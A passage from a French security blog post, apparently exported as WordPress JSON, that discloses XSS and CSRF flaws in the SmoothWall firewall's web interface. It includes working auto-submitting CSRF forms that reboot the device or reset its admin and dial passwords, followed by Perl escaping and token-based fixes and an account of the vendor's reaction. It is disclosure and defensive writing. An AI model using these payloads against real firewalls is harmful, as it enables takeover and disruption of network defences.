&amp;amp;amp;amp;amp;lt;script&amp;amp;amp;amp;amp;gt;document.forms[&#8216;x&#8217;].submit();&amp;amp;amp;amp;amp;lt;\/script&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n &amp;amp;amp;amp;amp;lt;\/body&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n&amp;amp;amp;amp;amp;lt;\/html&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n&amp;amp;amp;amp;lt;p&amp;amp;amp;amp;gt;[\/html]<\/p>\n<div id=\"attachment_855\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/smoothwall_xss_non_persistent_ipinfo.cgi_.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-855\" class=\"size-medium wp-image-855\" alt=\"XSS non-persistante dans ipinfo\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/smoothwall_xss_non_persistent_ipinfo.cgi_-300x246.png\" width=\"300\" height=\"246\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/smoothwall_xss_non_persistent_ipinfo.cgi_-300x246.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/smoothwall_xss_non_persistent_ipinfo.cgi_.png 1023w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-855\" class=\"wp-caption-text\">XSS non-persistante dans ipinfo<\/p><\/div>\n<h3>CSRF n\u00b01 pour red\u00e9marrer (ou arr\u00eater) SmoothWall<\/h3>\n<p>Ce PoC a \u00e9t\u00e9 initialement r\u00e9alis\u00e9 par Dave B en 2011. Une CSRF permet de red\u00e9marrer ou d&#8217;arr\u00eater de force la distribution.<\/p>\n<p>Fichier concern\u00e9 : \/httpd\/cgi-bin\/shutdown.cgi<\/p>\n<p>PoC de d\u00e9monstration :<\/p>\n<p>[html]&amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n&amp;amp;amp;amp;lt;p&amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;lt;html&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n &amp;amp;amp;amp;amp;lt;body&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n &amp;amp;amp;amp;amp;lt;form name=&#8217;x&#8217; action=&#8217;http:\/\/SMOOTHWALL_IP:81\/cgi-bin\/shutdown.cgi&#8217; method=&#8217;post&#8217;&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n &amp;amp;amp;amp;amp;lt;input type=&#8217;hidden&#8217; name=&#8217;ACTION&#8217; value=&#8217;Reboot&#8217; \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n &amp;amp;amp;amp;amp;lt;\/form&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n &amp;amp;amp;amp;amp;lt;script&amp;amp;amp;amp;amp;gt;document.forms[&#8216;x&#8217;].submit();&amp;amp;amp;amp;amp;lt;\/script&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n &amp;amp;amp;amp;amp;lt;\/body&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n&amp;amp;amp;amp;amp;lt;\/html&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n&amp;amp;amp;amp;lt;p&amp;amp;amp;amp;gt;[\/html]<\/p>\n<h3>CSRF n\u00b02 pour reset les mots de passe d&#8217;administration de SmoothWall<\/h3>\n<p>Cette nouvelle CSRF permet de changer arbitrairement les mots de passe d&#8217;administration de l&#8217;interface WebGUI. A savoir le compte &#8220;admin&#8221; et &#8220;dial&#8221; utilis\u00e9s pour la &#8220;Basic Auth&#8221;.<\/p>\n<p>Les mots de passe doivent avoir minimum 6 caract\u00e8res et peuvent \u00eatre alpha-num\u00e9riques.<\/p>\n<p>Fichier concern\u00e9 : \/httpd\/cgi-bin\/changepw.cgi<\/p>\n<p>PoC de d\u00e9monstration :<\/p>\n<p>[html]&amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n&amp;amp;amp;amp;lt;p&amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;lt;html&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n &amp;amp;amp;amp;amp;lt;body&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n &amp;amp;amp;amp;amp;lt;form name=&#8217;x&#8217; action=&#8217;http:\/\/SMOOTHWALL_IP:81\/cgi-bin\/changepw.cgi&#8217; method=&#8217;post&#8217;&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n &amp;amp;amp;amp;amp;lt;input type=&#8217;hidden&#8217; name=&#8217;ADMIN_PASSWORD1&#8242; value=&#8217;newpassword&#8217; \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n &amp;amp;amp;amp;amp;lt;input type=&#8217;hidden&#8217; name=&#8217;ADMIN_PASSWORD2&#8242; value=&#8217;newpassword&#8217; \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n &amp;amp;amp;amp;amp;lt;input type=&#8217;hidden&#8217; name=&#8217;DIAL_PASSWORD1&#8242; value=&#8217;newpassword&#8217; \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n &amp;amp;amp;amp;amp;lt;input type=&#8217;hidden&#8217; name=&#8217;DIAL_PASSWORD1&#8242; value=&#8217;newpassword&#8217; \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n &amp;amp;amp;amp;amp;lt;input type=&#8217;hidden&#8217; name=&#8217;ACTION_DIAL&#8217; value=&#8217;Save&#8217; \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n &amp;amp;amp;amp;amp;lt;input type=&#8217;hidden&#8217; name=&#8217;ACTION_ADMIN&#8217; value=&#8217;Save&#8217; \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n &amp;amp;amp;amp;amp;lt;\/form&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n &amp;amp;amp;amp;amp;lt;script&amp;amp;amp;amp;amp;gt;document.forms[&#8216;x&#8217;].submit();&amp;amp;amp;amp;amp;lt;\/script&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n &amp;amp;amp;amp;amp;lt;\/body&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n&amp;amp;amp;amp;amp;lt;\/html&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;&amp;lt;br \/&amp;gt;<br \/>\n&amp;amp;amp;amp;lt;p&amp;amp;amp;amp;gt;[\/html]<\/p>\n<h2>Comment s\u00e9curiser SmoothWall face \u00e0 ces vecteurs d&#8217;attaques?<\/h2>\n<p>L&#8217;ensemble des XSS, persistantes ou non, peuvent \u00eatre ais\u00e9ment corrig\u00e9es en nettoyant les donn\u00e9es inject\u00e9es dans la page. L&#8217;interface WebGUI de SmoothWall repose sur du cgi-bin en Perl. Ainsi, la biblioth\u00e8que CGI peut \u00eatre charg\u00e9e dans les pages :<\/p>\n<p>[perl]use CGI qw(:standard);[\/perl]<\/p>\n<p>Une fois cette biblioth\u00e8que charg\u00e9e, elle permet l&#8217;utilisation de la fonction escapeHTML() qui sert \u00e0 nettoyer des donn\u00e9es avant de les r\u00e9injecter dans une page HTML. Pour reprendre le cas du PoC n\u00b01, voici ce qui peut \u00eatre fait pour s&#8217;en pr\u00e9munir (line 365 du fichier \/httpd\/cgi-bin\/pppsetup.cgi) :<\/p>\n<p>[perl]print &amp;amp;amp;amp;amp;quot;\\t&amp;amp;amp;amp;amp;lt;OPTION VALUE=&#8217;$c&#8217; $selected{&#8216;PROFILE&#8217;}{$c}&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;quot; . escapeHTML($profilenames[$c]) . &amp;amp;amp;amp;amp;quot;\\n&amp;amp;amp;amp;amp;quot;;[\/perl]<\/p>\n<p>Idem pour les enregistrements dans les logs :<\/p>\n<p>[perl]&amp;amp;amp;amp;amp;amp;log(&amp;amp;amp;amp;amp;quot;$tr{&#8216;profile deleted&#8217;} &amp;amp;amp;amp;amp;quot; . escapeHTML($pppsettings{&#8216;PROFILENAME&#8217;}));[\/perl]<\/p>\n<div id=\"attachment_856\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/smoothwall_xss_protected_pppsetup.cgi_.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-856\" class=\"size-medium wp-image-856\" alt=\"XSS corrig\u00e9e dans pppsetup\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/smoothwall_xss_protected_pppsetup.cgi_-300x246.png\" width=\"300\" height=\"246\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/smoothwall_xss_protected_pppsetup.cgi_-300x246.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/smoothwall_xss_protected_pppsetup.cgi_.png 1023w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-856\" class=\"wp-caption-text\">XSS corrig\u00e9e dans pppsetup<\/p><\/div>\n<p>Enfin, pour se prot\u00e9ger des CSRF, un m\u00e9canisme de jeton de session, ou bien de v\u00e9rification du <em>referer<\/em> HTTP(S) (comme pour le <em>fork<\/em> de SmoothWall du nom d&#8217;IPCop) peut \u00eatre impl\u00e9ment\u00e9 sur chacune des pages.<\/p>\n<h2>Conclusion<\/h2>\n<p>Je tiens \u00e0 saluer les d\u00e9veloppeurs de SmoothWall pour l&#8217;utilisation de la fonction system() de Perl qu&#8217;ils font de mani\u00e8re s\u00e9curis\u00e9e et dans les r\u00e8gles de l&#8217;art.<\/p>\n<p>Toutefois, apr\u00e8s avoir contact\u00e9 l&#8217;\u00e9quipe de d\u00e9veloppement de SmoothWall pour savoir ce qu&#8217;il en \u00e9tait de ces corrections et leur transmettre ces nouveaux vecteurs d&#8217;attaques, ceux-ci m&#8217;ont r\u00e9pondu dans un premier temps qu&#8217;il ne consid\u00e9raient pas ces injections comme un r\u00e9el probl\u00e8me.<\/p>\n<p>Quelques heures plus tard ils sont revenus sur leurs dires avec un discours un peu plus constructif ; mais caract\u00e9risant ces\u00a0faiblesses\u00a0de &#8220;potentielles vuln\u00e9rabilit\u00e9s qui n&#8217;en sont pas vraiment&#8221;.<\/p>\n<p>J&#8217;ai donc r\u00e9pondu avec de nombreuses sources d\u00e9taillant des faits et des failles similaires jug\u00e9es critiques afin de les sensibiliser. J&#8217;y ait ajout\u00e9 les techniques pour s\u00e9curiser au mieux les instructions et fonctions vuln\u00e9rables \u00e0 ces vecteurs d&#8217;attaques.<\/p>\n<p>Il me parait toutefois anormal qu&#8217;une remont\u00e9 de vuln\u00e9rabilit\u00e9s de la sorte, certes qui ne sont pas majeures mais qui doivent \u00eatre prises en consid\u00e9ration, ne soit pas prise au s\u00e9rieux par une \u00e9quipe en charge du maintien d&#8217;un produit reconnu et orient\u00e9 s\u00e9curit\u00e9.<\/p>\n<h2>Sources &amp; ressources<\/h2>\n<ul>\n<li><a title=\"SmoothWall\" href=\"http:\/\/www.smoothwall.org\/\" target=\"_blank\">SmoothWall official website<\/a><\/li>\n<li><a title=\"PoC Dave B.\" href=\"http:\/\/www.exploit-db.com\/exploits\/16006\/\" target=\"_blank\">PoC CSRF &amp; XSS de Dave B.<\/a><\/li>\n<li><a title=\"Sanitize untrusted data passed across a trust boundary\" href=\"https:\/\/www.securecoding.cert.org\/confluence\/display\/perl\/IDS33-PL.+Sanitize+untrusted+data+passed+across+a+trust+boundary\" target=\"_blank\">Sanitize untrusted data passed across a trust boundary in Perl &#8211; SecureCoding<\/a><\/li>\n<\/ul>\n<p><\/p>","protected":false},"excerpt":{"rendered":"<p>SmoothWall est une distribution Linux open-source sous\u00a0licence\u00a0GPL, qui fait office de firewall\/routeur s\u00e9curis\u00e9. R\u00e9f\u00e9rence dans le domaine, et \u00e0 la [&hellip;]<\/p>\n","protected":false},"author":1337,"featured_media":1140,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[59,517,165,14,515],"tags":[194,200,206,197,332,202,217,203,334,199,335],"class_list":["post-826","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-administration-reseaux-et-systemes","category-csrf","category-os","category-vuln-exploit-poc","category-xss","tag-cgi","tag-cross-site-request-forgery","tag-cross-site-scripting","tag-firewall","tag-ipcop","tag-m0n0wall","tag-perl","tag-pfsense","tag-referer","tag-routeur","tag-smoothwall"],"_links":{"self":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts\/826","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/users\/1337"}],"replies":[{"embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/comments?post=826"}],"version-history":[{"count":16,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts\/826\/revisions"}],"predecessor-version":[{"id":1616,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts\/826\/revisions\/1616"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/media\/1140"}],"wp:attachment":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/media?parent=826"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/categories?post=826"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/tags?post=826"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}